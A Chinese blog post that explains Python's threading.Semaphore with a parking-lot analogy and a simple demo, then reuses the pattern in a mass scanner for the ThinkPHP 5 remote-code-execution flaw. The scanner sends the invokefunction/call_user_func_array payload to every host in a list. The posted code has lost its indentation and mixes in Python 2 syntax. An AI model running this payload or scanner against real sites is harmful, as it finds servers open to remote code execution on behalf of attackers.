python多线程semaphore实现线程数控制的示例


Posted in Python onAugust 10, 2020

前面写过一篇关于python多线程的实现的文章, 但是效果不是最佳的,写法也不是很好。通过网上学习,也了解到了semaphore这个东西。

百度给的解释:Semaphore是一种在多线程环境下使用的设施,该设施负责协调各个线程,以保证它们能够正确、合理的使用公共资源的设施,也是操作系统中用于控制进程同步互斥的量。

一个有趣的例子:假设停车场只有三个车位,一开始三个车位都是空的。这时如果同时来了五辆车,看门人允许其中三辆不受阻碍的进入,然后放下车拦,剩下的车则必须在入口等待,此后来的车也都不得不在入口处等待。这时,有一辆车离开停车场,看门人得知后,打开车拦,放入一辆,如果又离开两辆,则又可以放入两辆,如此往复。

简而言之,也就是能够控制多线程并发的数量。

简单记录一下如何通过semaphore实现线程数的控制。

简单代码:

#! -*-coding: utf-8-*-

import threading
import time

class test(threading.Thread):       #继承threading类
 def __init__(self, i, sem): 
 super(test, self).__init__()   #继承python的构造方法,这为python2的写法,python3可直接super().__init__()
 self.i = i
 self.sem = sem

 def run(self):
 time.sleep(0.1)
 print("the test i is : " + str(self.i))
 self.sem.release()        #释放线程数,线程数加1

if __name__ == '__main__':
 sem = threading.Semaphore(5)   #设置可同时执行的最大线程数
 for i in range(50):
 sem.acquire()         #获得线程,可用线程数减1
 t = test(i, sem)       #给执行函数传递值
 t.start()           #执行函数
sem = threading.Semaphore(5)    #设置可同时开启的线程数,这里为5个

每执行一次函数的时候就获得一个线程数,sem.acquire();每次执行完函数,就会释放一个线程数,sem.release()。只要acquire()的线程数达到了最大数(这里为5),后面的线程就只能先等待前面获得的线程执行完函数过后释放,后面的线程才能继续执行。

整个流程理解起来其实也很简单。

之前写过一次开10个线程的多线程脚本,但是方法不够好,这次用这个方法改了一下,贴在这里(扫描tp5是否存在代码执行漏洞的扫描脚本):

# -*- coding:UTF-8 -*-

import requests
import threading
import time
import sys

class check(threading.Thread):      #判断是否存在这个漏洞的执行函数
 def __init__(self, url, sem):
 super(check, self).__init__()   #继承threading类的构造方法,python3的写法super().__init__()
 self.url = url
 self.sem = sem

 def run(self):
 time.sleep(0.2)
 parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
 try:
  responce = requests.get(url = self.url, params = parameters)
  body = responce.text
  if body.find('PHP Extension') != -1:
    with open("success.txt", "a+") as f1:
      f1.write("存在tp5远程代码执行漏洞: " + self.url + "\n")
      print("[+] " + self.url)
  else:
  print("[-] " + self.url)
 except Exception,err:
  print("connect failed")
  pass
 self.sem.release()       #执行完函数,释放线程,线程数加1

class host(threading.Thread):     #遍历文件操作
 def __init__(self, sem):
 super(host, self).__init__()  #继承threading类的构造方法,python3的写法super().__init__()
 self.sem = sem

 def run(self):
 with open(sys.argv[1], "r") as f:
  for host in f.readlines():
  self.sem.acquire()   #遍历一个就获得一个线程,直到达到最大
  host = "http://" + host.strip()
  host_thread = check(host, self.sem) 
  host_thread.start()  #执行check()的执行函数

if __name__ == '__main__':
 sem = threading.Semaphore(10)   #最大线程数为10个
 thread = host(sem)         #传递sem值
 thread.start()

到此这篇关于python多线程semaphore实现线程数控制的示例的文章就介绍到这了,更多相关python 线程数控制内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python网络编程之数据传输UDP实例分析
May 20 Python
django模板语法学习之include示例详解
Dec 17 Python
微信跳一跳游戏python脚本
Apr 01 Python
Python实现数据可视化看如何监控你的爬虫状态【推荐】
Aug 10 Python
Python微医挂号网医生数据抓取
Jan 24 Python
Python列表常见操作详解(获取,增加,删除,修改,排序等)
Feb 18 Python
python程序控制NAO机器人行走
Apr 29 Python
详解python itertools功能
Feb 07 Python
python opencv进行图像拼接
Mar 27 Python
Python3安装模块报错Microsoft Visual C++ 14.0 is required的解决方法
Jul 28 Python
Python解析微信dat文件的方法
Nov 30 Python
python抢购软件/插件/脚本附完整源码
Mar 04 Python
如何在python中实现线性回归
Aug 10 #Python
Python多线程的退出控制实现
Aug 10 #Python
Python进行统计建模
Aug 10 #Python
Python如何爬取b站热门视频并导入Excel
Aug 10 #Python
拿来就用!Python批量合并PDF的示例代码
Aug 10 #Python
Python 发送邮件方法总结
Aug 10 #Python
Python getattr()函数使用方法代码实例
Aug 10 #Python
You might like
解析php常用image图像函数集
2013/06/24 PHP
一个经典的PHP文件上传类分享
2014/11/18 PHP
js获取浏览器的可视区域尺寸的实现代码
2011/11/30 Javascript
cument.execCommand()用法深入理解
2012/12/04 Javascript
javascript 判断字符串是否包含某字符串及indexOf使用示例
2013/10/18 Javascript
js的正则test,match,exec详细解析
2014/01/29 Javascript
jQuery+easyui中的combobox实现下拉框特效
2015/02/27 Javascript
AngularJS ng-mousedown 指令
2016/08/02 Javascript
JS动态遍历json中所有键值对的方法(不知道属性名的情况)
2016/12/28 Javascript
React实现点击删除列表中对应项
2017/01/10 Javascript
js利用for in循环获取 一个对象的所有属性以及值的实例
2017/03/30 Javascript
详解关于vue2.0工程发布上线操作步骤
2018/09/27 Javascript
JavaScript中的一些实用小技巧总结
2019/04/07 Javascript
解决Python中由于logging模块误用导致的内存泄露
2015/04/23 Python
Python实现批量读取word中表格信息的方法
2015/07/30 Python
Python中模块string.py详解
2017/03/12 Python
Tornado协程在python2.7如何返回值(实现方法)
2017/06/22 Python
Python3.6实现连接mysql或mariadb的方法分析
2018/05/18 Python
mac安装scrapy并创建项目的实例讲解
2018/06/13 Python
django富文本编辑器的实现示例
2019/04/10 Python
python使用socket实现的传输demo示例【基于TCP协议】
2019/09/24 Python
如何修复使用 Python ORM 工具 SQLAlchemy 时的常见陷阱
2019/11/19 Python
使用Python的Turtle绘制哆啦A梦实例
2019/11/21 Python
python 已知平行四边形三个点,求第四个点的案例
2020/04/12 Python
Python实现像awk一样分割字符串
2020/09/15 Python
html5基础教程常用技巧整理
2013/08/20 HTML / CSS
俄罗斯GamePark游戏商店网站:购买游戏、游戏机和配件
2020/03/13 全球购物
华为智利官方商店:Huawei Chile
2020/05/09 全球购物
学校班班通实施方案
2014/06/11 职场文书
银行柜员求职自荐书
2014/06/18 职场文书
2015年师德师风承诺书
2015/01/22 职场文书
2015年体育部工作总结
2015/04/02 职场文书
2015年暑假工作总结
2015/07/13 职场文书
宝宝满月祝酒词
2015/08/10 职场文书
Python道路车道线检测的实现
2021/06/27 Python
Android开发手册TextInputLayout样式使用示例
2022/06/10 Java/Android